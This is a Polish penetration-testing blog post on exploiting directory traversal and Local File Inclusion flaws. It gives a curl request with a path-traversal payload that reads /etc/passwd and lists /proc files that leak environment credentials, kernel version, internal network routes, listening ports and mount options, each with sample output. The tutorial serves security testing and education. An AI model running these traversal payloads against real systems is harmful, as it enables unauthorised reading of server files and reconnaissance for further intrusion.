Najlepsze z Directory Traversal i Local File Inclusion (LFI)
Napisał: Patryk Krawaczyński
14/11/2016 w Bezpieczeństwo, Pen Test Brak komentarzy. (artykuł nr 574, ilość słów: 632)
A
taki typu directory traversal oraz Local File Inclusion bywają często widywane w aplikacjach internetowych. Obydwa te błędy mogą zostać wykorzystane do odczytu dowolnych plików na serwerze. Najczęściej pokazywanym przykładem jest możliwość przeczytania pliku /etc/passwd
:
curl http://podatny_serwer.pl/index.php?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
Jednakże, atakujący może wykorzystać tą podatność do odczytu systemu plików /proc w celu wyciągnięcia ciekawych informacji np. co działa na serwerze, a także jakie są potencjalne inne drogi uzyskania nieautoryzowanego dostępu:
– /proc/sched_debug – Dostarcza informacji o tym, jaki proces jest uruchomiony na którym procesorze. Szczególnie przydatny plik jeśli chcemy odnaleźć numer PID testowanej aplikacji.
apache2 3485 203.009521 3034 120 39.178517 130.877588 apache2 3489 81.844798 1 120 0.716357 0.228239
– /proc/self/environ – Zmienne środowiskowe czasami mogą zawierać login i hasło do dodatkowych usług. Niestety nowsze systemy Linux nie pozwalają na dostęp do tego pliku innym użytkownikom niż root. Istnieje na szczęście inna droga. Każdy proces uruchomiony w systemie posiada dodatkowo zestaw własnych atrybutów przypisanych do swojego numeru identyfikacyjnego. Jeśli znamy PID (przeszukanie sched_debug lub możemy próbować iterować po każdej wartości zaczynając od numeru 1) możemy uzyskać dostęp do pliku /proc/$PID/environ:
APACHE_RUN_DIR=/var/run/apache2 APACHE_PID_FILE=/var/run/apache2/apache2.pid PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin APACHE_LOCK_DIR=/var/lock/apache2 LANG=C APACHE_RUN_USER=www-data APACHE_RUN_GROUP=www-data APACHE_LOG_DIR=/var/log/apache2 PWD=/
– /proc/version – Wersja jądra wykorzystywana w systemie umożliwia sprawdzenie podatnych wersji np. na DirtyC0w.
Linux version 4.4.0-47-generic (buildd@lcy01-03) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) ) #68-Ubuntu SMP Wed Oct 26 19:39:52 UTC 2016
– /proc/net/(arp|route) – Tablica ARP i routingu umożliwia poznanie adresów IP innych wewnętrznych serwerów i sieci.
IP address HW type Flags HW address Mask Device 192.168.111.1 0x1 0x2 0a:00:27:00:00:00 * enp0s8 10.0.2.2 0x1 0x2 52:54:00:12:35:02 * enp0s3
– /proc/net/(tcp|udp) – Lista aktywnych połączeń może zostać użyta do ustalenia jakie inne porty nasłuchują na serwerze.
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid 0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 1: 026FA8C0:0016 016FA8C0:C04A 01 00000000:00000000 02:00053C7E 00000000 0
– /proc/mounts – Lista zamontowanych systemów plików raz z opcjami może dostarczyć informacji o miejscu interesujących danych oraz gdzie potencjalnie nie ma flag typu noexec lub nosuid:
/dev/sda1 / ext4 rw,relatime,errors=remount-ro,data=ordered 0 0 sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0 proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=404664k,mode=755 0 0
Połączenie ataków DT oraz LFI z możliwością dostępu do systemu plików /proc jest świetnym sposobem na uzyskanie dostępu do informacji o atakowanym systemie operacyjnym Linux. Na przykład jesteśmy w stanie zidentyfikować jakiego rodzaju oprogramowanie jest uruchomione na serwerze, jakie porty są w trybie nasłuchu (bez konieczności skanowania) lub gdzie możemy bezpiecznie z punktu widzenia włamywacza uruchomić szkodliwe skrypty. Jeśli odkryjemy możliwość wykonania tego typu ataków w webaplikacji ważnym jest, aby nie przeoczyć tej ścieżki testów – czasami może ona doprowadzić do całkowitego dostępu do maszyny.
Więcej informacji: Understanding /proc, shell via LFI, LFI2RFI, Directory Traversal, File Inclusion, and The Proc File System